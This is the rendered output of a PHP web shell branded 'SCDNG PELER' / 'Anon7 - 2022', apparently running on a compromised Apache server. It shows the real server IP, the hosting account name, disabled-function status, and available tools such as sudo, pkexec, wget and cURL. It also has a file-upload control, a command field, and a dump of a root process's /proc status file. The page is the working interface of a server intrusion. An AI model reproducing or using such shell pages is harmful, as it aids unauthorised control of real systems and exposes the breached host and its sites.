SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.217.104.36
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/2310996/task/2311029/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/thread-self/root/proc/2310996/task/2311029/status
Name:	in:imjournal
Umask:	0066
State:	S (sleeping)
Tgid:	2310996
Ngid:	0
Pid:	2311029
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	128
Groups:	 
NStgid:	2310996
NSpid:	2311029
NSpgid:	2310996
NSsid:	2310996
VmPeak:	  486408 kB
VmSize:	  451736 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   33812 kB
VmRSS:	   15248 kB
RssAnon:	    1992 kB
RssFile:	    2056 kB
RssShmem:	   11200 kB
VmData:	   18352 kB
VmStk:	     132 kB
VmExe:	     672 kB
VmLib:	    6684 kB
VmPTE:	     424 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	3
SigQ:	1/22532
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	fffffffe7febfaff
SigIgn:	0000000001001206
SigCgt:	0000000180314001
CapInh:	0000000000000000
CapPrm:	000001fffffeffff
CapEff:	000001fffffeffff
CapBnd:	000001fffffeffff
CapAmb:	0000000000000000
NoNewPrivs:	1
Seccomp:	2
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	7
Cpus_allowed_list:	0-2
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	792806
nonvoluntary_ctxt_switches:	124

Anon7 - 2022
SCDN GOK